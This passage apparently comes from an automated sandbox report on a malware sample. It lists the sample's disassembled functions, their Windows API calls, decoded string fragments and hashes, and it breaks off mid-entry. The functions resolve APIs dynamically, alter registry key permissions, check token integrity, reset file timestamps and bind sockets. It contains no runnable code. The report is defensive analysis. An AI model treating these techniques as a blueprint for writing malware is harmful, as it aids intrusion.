Part of subcall function 00410630: CloseHandle.KERNEL32(?), ref: 00410637

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

V, xrefs: 00406ED0
B, xrefs: 00407204
Y, xrefs: 00406EC4
\, xrefs: 00406EB8
B4LaBB, xrefs: 00407264
', xrefs: 004071AC
U, xrefs: 004071DC
-, xrefs: 004071D0
5, xrefs: 00406EDC
), xrefs: 00406ED4
[, xrefs: 004071F4
', xrefs: 004071F8
>, xrefs: 004070B7
0, xrefs: 00406F5C
,, xrefs: 00407200
), xrefs: 00406EC0
C, xrefs: 00407197
/, xrefs: 004071D8
&, xrefs: 004070AB
D, xrefs: 00406F68
1, xrefs: 00406EBC
A, xrefs: 00406F50
=, xrefs: 00406F60
,, xrefs: 004071EC
6, xrefs: 00406F80
0, xrefs: 00406F74
T6dqUS, xrefs: 00406FDD
, xrefs: 0040708F
;, xrefs: 004070A3
5, xrefs: 00407093
!, xrefs: 00406ED8
, xrefs: 00406F78
., xrefs: 004070C3
', xrefs: 00406F7C
~, xrefs: 00406ECC
}, xrefs: 004071C1
", xrefs: 004071C8
2EM5hP, xrefs: 00406F36
+, xrefs: 00406F54
8, xrefs: 004071E0
0, xrefs: 004071B3
MIoEht, xrefs: 0040712C
M, xrefs: 004070CF
;, xrefs: 004071BA
0, xrefs: 004071D4
-, xrefs: 004071E8
>, xrefs: 0040708B

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressLibraryLoadProc$AllocFree$CloseHandle
String ID: $ $!$"$&$'$'$'$)$)$+$,$,$-$-$.$/$0$0$0$0$1$2EM5hP$5$5$6$8$;$;$=$>$>$A$B$B4LaBB$C$D$M$MIoEht$T6dqUS$U$V$Y$[$\$}$~
API String ID: 3924191801-1277861845
Opcode ID: fc6d937207ed366cac971918665f8979b3d76c3ffc2d1a06188e5164b3f7b2f4
Instruction ID: 81eecde204908cbef32faae96181cc52a436fa1c85e714cbedf3309c338645f7
Opcode Fuzzy Hash: fc6d937207ed366cac971918665f8979b3d76c3ffc2d1a06188e5164b3f7b2f4
Instruction Fuzzy Hash: D4F12C70D08298DAEF11CBA8C858BDEBFB56F15308F0440DDE5497B2C2C7B91A49CB66

Function 00403130, Relevance: 93.0, APIs: 12, Strings: 41, Instructions: 241
timememoryfile

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTime.KERNELBASE(?), ref: 00403151
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 0040322F
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 0040323D
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 0040324B

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00402F5C
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000008,00000008), ref: 00402F75
Part of subcall function 00402F40: HeapAlloc.KERNEL32(00000000), ref: 00402F7C
Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000), ref: 00402FA5
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402FB5
Part of subcall function 00402F40: HeapFree.KERNEL32(00000000), ref: 00402FBC

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004033BA
GetFileTime.KERNEL32(00000000,00000034,00000000,000000FF), ref: 004033DF
SystemTimeToFileTime.KERNEL32(?,00000034), ref: 004033F1
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004033FF
SystemTimeToFileTime.KERNEL32(?,000000FF), ref: 0040340D
CloseHandle.KERNEL32(000000FF), ref: 00403417
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403423
HeapFree.KERNEL32(00000000), ref: 0040342A

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

6, xrefs: 0040331D
j, xrefs: 00403285
C, xrefs: 00403259
b64je, xrefs: 00403373
b, xrefs: 00403265
j, xrefs: 004032D5
S, xrefs: 004032B9
X, xrefs: 00403269
j, xrefs: 004032AD
j, xrefs: 004032FD
Q, xrefs: 004032C9
N, xrefs: 00403309
4, xrefs: 00403295
G, xrefs: 004032A9
U, xrefs: 004032E1
b, xrefs: 00403319
G, xrefs: 00403251
e, xrefs: 004032ED
j, xrefs: 00403291
F, xrefs: 00403281
6, xrefs: 004032A5
4, xrefs: 00403351
e, xrefs: 00403315
e, xrefs: 0040329D
6, xrefs: 004032F5
j, xrefs: 0040325D
4, xrefs: 004032BD
b, xrefs: 004032DD
b, xrefs: 00403305
4, xrefs: 0040326D
4, xrefs: 0040330D
e, xrefs: 00403275
b, xrefs: 004032B5
4, xrefs: 004032E5
@, xrefs: 00403289
6, xrefs: 004032CD
6, xrefs: 00403255
9, xrefs: 004032D9
e, xrefs: 004032C5
b, xrefs: 0040328D
6, xrefs: 0040327D

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Time$Heap$File$System$Process$Free$AllocEnvironmentExpandStrings$CloseCreateHandle
String ID: 4$4$4$4$4$4$6$6$6$6$6$6$9$@$C$F$G$G$N$Q$S$U$X$b$b$b$b$b$b$b64je$e$e$e$e$e$j$j$j$j$j$j
API String ID: 2843445519-3427366360
Opcode ID: e36ebad881da6424ec625a1a9a2a94900e32b4c21ace88909335431728768f8c
Instruction ID: d1c600ef618ef9b7fc0bc352308777b61cb23c9f75248efdf615c941a1b6afe5
Opcode Fuzzy Hash: e36ebad881da6424ec625a1a9a2a94900e32b4c21ace88909335431728768f8c
Instruction Fuzzy Hash: 90B16470D04288EAEB02DBE4D848BDEBFB66F55308F08806DE5457B2C1D7BE5605CB66

Function 002302B2, Relevance: 61.4, APIs: 18, Strings: 17, Instructions: 134
libraryloaderthread

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL(00000000), ref: 002301D1
GetProcAddress.KERNELBASE(?,LoadLibraryA,00000000), ref: 002302D6
LoadLibraryA.KERNEL32(advapi32.dll), ref: 002302E9
LoadLibraryA.KERNEL32(user32.dll), ref: 00230301
GetProcAddress.KERNELBASE(?,VirtualAlloc), ref: 0023031C
GetProcAddress.KERNELBASE(?,VirtualProtect), ref: 0023033A
GetProcAddress.KERNELBASE(?,VirtualFree), ref: 00230358
GetProcAddress.KERNELBASE(?,ExitThread), ref: 00230376
GetProcAddress.KERNELBASE(?,RegOpenKeyExA), ref: 00230394
GetProcAddress.KERNELBASE(?,RegQueryValueExA), ref: 002303B2
GetProcAddress.KERNELBASE(?,RegCloseKey), ref: 002303D0
GetProcAddress.KERNELBASE(?,GetSystemWindowsDirectoryA), ref: 002303EE
GetProcAddress.KERNELBASE(?,GetVolumeInformationA), ref: 0023040C
GetProcAddress.KERNELBASE(?,GetUserNameA), ref: 0023042A
GetProcAddress.KERNELBASE(?,CharUpperBuffA), ref: 00230448
GetProcAddress.KERNELBASE(?,GetModuleHandleExW), ref: 00230466
GetProcAddress.KERNELBASE(?,ExitProcess), ref: 00230484
GetProcAddress.KERNELBASE(?,TerminateProcess), ref: 002304A2

Strings

user32.dll, xrefs: 00230300
GetModuleHandleExW, xrefs: 00230462
ExitProcess, xrefs: 00230480
advapi32.dll, xrefs: 002302E8
RegQueryValueExA, xrefs: 002303AE
GetUserNameA, xrefs: 00230426
VirtualProtect, xrefs: 00230336
CharUpperBuffA, xrefs: 00230444
GetVolumeInformationA, xrefs: 00230408
ExitThread, xrefs: 00230372
LoadLibraryA, xrefs: 002302D2
VirtualAlloc, xrefs: 00230318
VirtualFree, xrefs: 00230354
GetSystemWindowsDirectoryA, xrefs: 002303EA
RegCloseKey, xrefs: 002303CC
RegOpenKeyExA, xrefs: 00230390
TerminateProcess, xrefs: 0023049E

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressProc$LibraryLoad$ExitThreadUser
String ID: CharUpperBuffA$ExitProcess$ExitThread$GetModuleHandleExW$GetSystemWindowsDirectoryA$GetUserNameA$GetVolumeInformationA$LoadLibraryA$RegCloseKey$RegOpenKeyExA$RegQueryValueExA$TerminateProcess$VirtualAlloc$VirtualFree$VirtualProtect$advapi32.dll$user32.dll
API String ID: 1368113539-2394009662
Opcode ID: ad715006db8af28d4c8d9ef9bdacd05adec19600a1fc467b3acbde008b5161bd
Instruction ID: 6ff620b58f1a72d58cfe9b0efce89404f4359f29747ca9061737093049d22a57
Opcode Fuzzy Hash: ad715006db8af28d4c8d9ef9bdacd05adec19600a1fc467b3acbde008b5161bd
Instruction Fuzzy Hash: 255198B1A12509AFEF01DF60D885AEA7BB9FB01300F0845B6ED89DD11FEB3086149B71

Function 0040E5B0, Relevance: 54.5, APIs: 19, Strings: 12, Instructions: 261
memoryfilestring

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000250,?), ref: 0040E5CD
HeapAlloc.KERNEL32(00000000), ref: 0040E5D4
GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040E5EE
HeapAlloc.KERNEL32(00000000), ref: 0040E5F5
GetProcessHeap.KERNEL32(00000008,00000210), ref: 0040E60F
HeapAlloc.KERNEL32(00000000), ref: 0040E616
GetSystemDirectoryW.KERNEL32(00000000,?), ref: 0040E71D
lstrcatW.KERNEL32 ref: 0040E760
FindFirstFileW.KERNELBASE(00000000,00000000), ref: 0040E76E
StrRChrW.SHLWAPI(-0000002C,00000000,0000002E), ref: 0040E7C6
FindNextFileW.KERNELBASE(000000FF,00000000), ref: 0040E86E
FindFirstFileW.KERNEL32(00000000,00000000), ref: 0040E880
FindClose.KERNEL32(000000FF), ref: 0040E8B5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040E8C7
HeapFree.KERNEL32(00000000), ref: 0040E8CE

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040E8E2
HeapFree.KERNEL32(00000000), ref: 0040E8E9

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040E8F5
HeapFree.KERNEL32(00000000), ref: 0040E8FC

Strings

d, xrefs: 0040E659
@, xrefs: 0040E63D
I, xrefs: 0040E669
Y, xrefs: 0040E649
CIjdtY, xrefs: 0040E6C3
C, xrefs: 0040E665
Z, xrefs: 0040E645
I, xrefs: 0040E651
I, xrefs: 0040E639
Y, xrefs: 0040E661
&, xrefs: 0040E64D
d, xrefs: 0040E641

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFindFree$File$First$CloseDirectoryNextSystemlstrcat
String ID: &$@$C$CIjdtY$I$I$I$Y$Y$Z$d$d
API String ID: 1772217636-1928733937
Opcode ID: 14680e99291631b1f3164c144fd1d92aab3a85b3fee6c4e8f3b1d63647edf055
Instruction ID: a551e7cd6a968e75c6729a30d3edf44ce01057f399b3147b067512b5eb3db430
Opcode Fuzzy Hash: 14680e99291631b1f3164c144fd1d92aab3a85b3fee6c4e8f3b1d63647edf055
Instruction Fuzzy Hash: CCC14470D40249EFDB04DFE9D888BEEBBB1AF48304F14856AE511BB281C7795945CF68

Function 00415620, Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 233librarynativememory

APIs

LoadLibraryA.KERNEL32(00000000), ref: 004157B1
GetProcAddress.KERNELBASE(00000000), ref: 004157B8

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,00000000), ref: 004157E4
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00415814
NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,00000000), ref: 00415834
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041584E

Part of subcall function 00418AF0: GetModuleHandleA.KERNELBASE(00000000,00000000,0000000D,0000000F), ref: 00418C65
Part of subcall function 00418AF0: GetProcAddress.KERNELBASE(00000000), ref: 00418C6C
Part of subcall function 00418AF0: OpenProcess.KERNELBASE(00000400,00000000,00000000), ref: 00418CA1
Part of subcall function 00418AF0: IsWow64Process.KERNELBASE(00000000,00000000), ref: 00418CB8
Part of subcall function 00418AF0: CloseHandle.KERNEL32(00000000), ref: 00418CD3

Part of subcall function 00410D90: lstrlenW.KERNEL32(00000000), ref: 00410DAD
Part of subcall function 00410D90: GetProcessHeap.KERNEL32(00000008,000000FE), ref: 00410DBF
Part of subcall function 00410D90: HeapAlloc.KERNEL32(00000000), ref: 00410DC6
Part of subcall function 00410D90: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,000000FE,00000000,00000000), ref: 00410DF0
Part of subcall function 00410D90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410E13
Part of subcall function 00410D90: HeapFree.KERNEL32(00000000), ref: 00410E1A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00415912

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Strings

(, xrefs: 004156D7
1, xrefs: 0041563F
cgyjpa, xrefs: 00415789
5, xrefs: 0041565F
4, xrefs: 004156EB
), xrefs: 00415657
2EM5hP, xrefs: 004156B9
!, xrefs: 0041565B
c, xrefs: 0041572F
\, xrefs: 0041563B
Y, xrefs: 00415647
V, xrefs: 00415653
~, xrefs: 0041564F
), xrefs: 00415643
., xrefs: 00415703
-, xrefs: 004156CF

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$AllocVirtual$AddressHandleInformationProcQuerySystem$ByteCharCloseLibraryLoadModuleMultiOpenWideWow64lstrlen
String ID: !$($)$)$-$.$1$2EM5hP$4$5$V$Y$\$c$cgyjpa$~
API String ID: 3657262527-2635092660
Opcode ID: 5f5fd5ddca8595c8691bcd2246350f48832211bfd3f7dce9242ff026a9d1e230
Instruction ID: 7e3919058cad254b09cd8d42265fd5d745433b9bcb76ccb041a3526a9224d214
Opcode Fuzzy Hash: 5f5fd5ddca8595c8691bcd2246350f48832211bfd3f7dce9242ff026a9d1e230
Instruction Fuzzy Hash: B3B16D70D04288DEEF11DBE8D848BEEBFB1AF55308F14409AE5417B2C1C7B95A45CB6A

Function 00410AA0, Relevance: 38.7, APIs: 9, Strings: 13, Instructions: 198memorystring

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410AB8
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410ACB
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410ADE

Part of subcall function 00417CD0: GetModuleHandleA.KERNELBASE(00000000,00000000,0000000D,0000000D), ref: 00417E29
Part of subcall function 00417CD0: GetProcAddress.KERNELBASE(00000000), ref: 00417E30

Part of subcall function 00411020: GetModuleHandleA.KERNELBASE(kernel32.dll,GetNativeSystemInfo), ref: 004110B2
Part of subcall function 00411020: GetProcAddress.KERNELBASE(00000000), ref: 004110B9
Part of subcall function 00411020: GetNativeSystemInfo.KERNEL32(?), ref: 004110CC

Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000008,00000208), ref: 00417E72
Part of subcall function 00417E50: HeapAlloc.KERNEL32(00000000), ref: 00417E79
Part of subcall function 00417E50: GetModuleFileNameW.KERNEL32(00000104,00000000,00000104), ref: 00417E94
Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417EBD
Part of subcall function 00417E50: HeapFree.KERNEL32(00000000), ref: 00417EC4
Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000008,00000104), ref: 00417ED2
Part of subcall function 00417E50: HeapAlloc.KERNEL32(00000000), ref: 00417ED9
Part of subcall function 00417E50: GetLastError.KERNEL32 ref: 00417EFA
Part of subcall function 00417E50: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00417F09
Part of subcall function 00417E50: HeapFree.KERNEL32(00000000), ref: 00417F10

Part of subcall function 00410E30: GetShellWindow.USER32 ref: 00410E33
Part of subcall function 00410E30: GetWindowThreadProcessId.USER32(00000000,0042935C), ref: 00410E52

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B62
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410B76
GetProcessHeap.KERNEL32(00000008,00000020,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B94
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B9B
GetComputerNameW.KERNEL32 ref: 00410BC5
lstrcpyW.KERNEL32(024508A8,00000000), ref: 00410C83

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 004115E0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 00411768

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 00410FA0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00410CA6), ref: 00410FDB
Part of subcall function 00410FA0: CheckTokenMembership.ADVAPI32(00000000,00410CA6,00000000), ref: 00410FF4
Part of subcall function 00410FA0: FreeSid.ADVAPI32(00410CA6), ref: 00411009

Part of subcall function 00410ED0: CreateWellKnownSid.ADVAPI32(00000027,00000000,?,0000000C), ref: 00410EF0
Part of subcall function 00410ED0: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00410F0B

Part of subcall function 00410D90: lstrlenW.KERNEL32(00000000), ref: 00410DAD
Part of subcall function 00410D90: GetProcessHeap.KERNEL32(00000008,000000FE), ref: 00410DBF
Part of subcall function 00410D90: HeapAlloc.KERNEL32(00000000), ref: 00410DC6
Part of subcall function 00410D90: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,000000FE,00000000,00000000), ref: 00410DF0
Part of subcall function 00410D90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410E13
Part of subcall function 00410D90: HeapFree.KERNEL32(00000000), ref: 00410E1A

Part of subcall function 00410E70: GetProcessHeap.KERNEL32(00000000,00000000,?,00410D7B,?,?,?,?,?,?,?,?,?,00408673), ref: 00410E84
Part of subcall function 00410E70: HeapFree.KERNEL32(00000000,?,00410D7B), ref: 00410E8B
Part of subcall function 00410E70: GetProcessHeap.KERNEL32(00000000,0066FAB0,?,00410D7B,?,?,?,?,?,?,?,?,?,00408673), ref: 00410EA3
Part of subcall function 00410E70: HeapFree.KERNEL32(00000000,?,00410D7B), ref: 00410EAA
Part of subcall function 00410E70: CloseHandle.KERNEL32(00000000), ref: 00410EC0

Part of subcall function 004110F0: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00411108
Part of subcall function 004110F0: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00411124
Part of subcall function 004110F0: GetLastError.KERNEL32 ref: 00411132
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000008,?), ref: 00411147
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000), ref: 0041114E
Part of subcall function 004110F0: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,?,?,00000015), ref: 00411235
Part of subcall function 004110F0: GetSidSubAuthorityCount.ADVAPI32(?,00000012), ref: 004112FF
Part of subcall function 004110F0: GetSidSubAuthority.ADVAPI32(00000000,?,00000010,?,00000012), ref: 004113D8
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041143C
Part of subcall function 004110F0: HeapFree.KERNEL32(00000000), ref: 00411443
Part of subcall function 004110F0: CloseHandle.KERNEL32(?), ref: 00411458

Part of subcall function 00410F20: GetCurrentProcess.KERNEL32(00020008,00410CCA), ref: 00410F68
Part of subcall function 00410F20: OpenProcessToken.ADVAPI32(00000000), ref: 00410F6F
Part of subcall function 00410F20: GetTokenInformation.ADVAPI32(00410CCA,00000014(TokenIntegrityLevel),00000000,00000004,?), ref: 00410F89
Part of subcall function 00410F20: CloseHandle.KERNEL32(00410CCA), ref: 00410F93

Strings

N, xrefs: 00410BF7
wneTN, xrefs: 00410C5D
", xrefs: 00410BD3
w, xrefs: 00410BE7
, xrefs: 00410BEB
T, xrefs: 00410C07
n, xrefs: 00410BFF
n, xrefs: 00410BD7
, xrefs: 00410BFB
T, xrefs: 00410BDF
e, xrefs: 00410C03
e, xrefs: 00410BEF
+, xrefs: 00410BDB

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$Token$AllocHandle$Module$CloseErrorInformationLastOpen$AddressAuthorityCheckCreateCurrentMembershipNameProcWindow$AllocateByteCharComputerCountEventFileInfoInitializeKnownMultiNativeShellSystemThreadVersionWellWidelstrcpylstrlen
String ID: $ $"$+$N$T$T$e$e$n$n$w$wneTN
API String ID: 2226611907-2949408712
Opcode ID: 5b9cba1ac05fd1146ea8291c95571c24c6a5e70950632c70dc9a6d1e1616b2c6
Instruction ID: ce558dc9809528166c1fbfe58d2735a5b65722c1163a919b44184b0b12f17eb7
Opcode Fuzzy Hash: 5b9cba1ac05fd1146ea8291c95571c24c6a5e70950632c70dc9a6d1e1616b2c6
Instruction Fuzzy Hash: 3481C370A04344DADB24DFA4EC497EE7BB1AB08308F04816AE8156B2D1D7FC59C5CB6D

Function 0041B060, Relevance: 38.6, APIs: 3, Strings: 19, Instructions: 128libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 0041B1C6
GetProcAddress.KERNELBASE(00000000), ref: 0041B1CD
SystemFunction036.ADVAPI32(0000006C,00000004), ref: 0041B1E6

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

PFekgz, xrefs: 0041B0E1
D, xrefs: 0041B148
;, xrefs: 0041B104
Z, xrefs: 0041B13C
:, xrefs: 0041B110
+, xrefs: 0041B134
e, xrefs: 0041B087
7, xrefs: 0041B10C
\, xrefs: 0041B144
1, xrefs: 0041B120
t, xrefs: 0041B083
1, xrefs: 0041B067
, xrefs: 0041B138
", xrefs: 0041B06B
hjDNj, xrefs: 0041B19E
,, xrefs: 0041B11C
, xrefs: 0041B124
[, xrefs: 0041B140
c, xrefs: 0041B07F

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeFunction036LibraryLoadProcSystem
String ID: $ $"$+$,$1$1$7$:$;$D$PFekgz$Z$[$\$c$e$hjDNj$t
API String ID: 405818590-751769631
Opcode ID: 53ab8c8ce17b44fecebc529163a875f8e1f71444bfcc8fb620a0fb4532470991
Instruction ID: 5398839c3c888434d682accd1e7f8e802854eb17e304c7fec76f27a587d8d010
Opcode Fuzzy Hash: 53ab8c8ce17b44fecebc529163a875f8e1f71444bfcc8fb620a0fb4532470991
Instruction Fuzzy Hash: A4514430D082C8DAEF11DBA9D5597DEBFB1AF16308F18409DD441772C2C7BA1A49CB6A

Function 0040DBB0, Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 101network

APIs

WSAStartup.WS2_32(00000202,?), ref: 0040DBCC
socket.WS2_32(00000002,00000001,00000000), ref: 0040DBD8
GetCurrentProcessId.KERNEL32 ref: 0040DBEB

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

inet_addr.WS2_32(00000000), ref: 0040DCB9
htons.WS2_32(0040F1C4), ref: 0040DCC7
bind.WS2_32(000000FF,?,00000010), ref: 0040DCE4
closesocket.WS2_32(000000FF), ref: 0040DCF2

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

V, xrefs: 0040DC20
X, xrefs: 0040DC40
C, xrefs: 0040DC34
v, xrefs: 0040DC28
J, xrefs: 0040DC38
B, xrefs: 0040DC1C
^, xrefs: 0040DC2C
sd6Xnf, xrefs: 0040DC9A
H, xrefs: 0040DC30

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocCurrentFreeStartupbindclosesockethtonsinet_addrsocket
String ID: B$C$H$J$V$X$^$sd6Xnf$v
API String ID: 3631997162-873445397
Opcode ID: f61985cb964cd45af9d94507ebfe2cb9dbf1bfd42f2e2d2b72fdd7af271a4719
Instruction ID: 2a8216cdda020b2112b0b1f2bc12a1663ab3c671e2242924c1b590c73c5002c4
Opcode Fuzzy Hash: f61985cb964cd45af9d94507ebfe2cb9dbf1bfd42f2e2d2b72fdd7af271a4719
Instruction Fuzzy Hash: DC41A130D08288DAEB10DBE4D9487FEBFB0AF15304F1041AAE441762C1D7BD1B48C7AA

Function 00411960, Relevance: 25.7, APIs: 17, Instructions: 156registrymemory

APIs

_chkstk.NTDLL(?,004134D7,00000000), ref: 00411968
RegGetKeySecurity.ADVAPI32(00000000,00000004,?,00010014), ref: 00411991
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 004119A8
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 004119C9
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004119E6
LocalAlloc.KERNEL32(00000040,?), ref: 00411A06
InitializeAcl.ADVAPI32(?,?,00000002), ref: 00411A19
LocalFree.KERNEL32(?), ref: 00411A27
GetAce.ADVAPI32(?,00000000,004134D7), ref: 00411A6A
LocalFree.KERNEL32(?), ref: 00411A78
AddAce.ADVAPI32(?,00000002,000000FF,004134D7,15FF52FC), ref: 00411AA9
LocalFree.KERNEL32(?), ref: 00411AB7
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00411ACF
LocalFree.KERNEL32(?), ref: 00411ADD
RegSetKeySecurity.KERNEL32(00000000,00000004,?), ref: 00411AF1
LocalFree.KERNEL32(?), ref: 00411AFF
LocalFree.KERNEL32(?), ref: 00411B0D

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

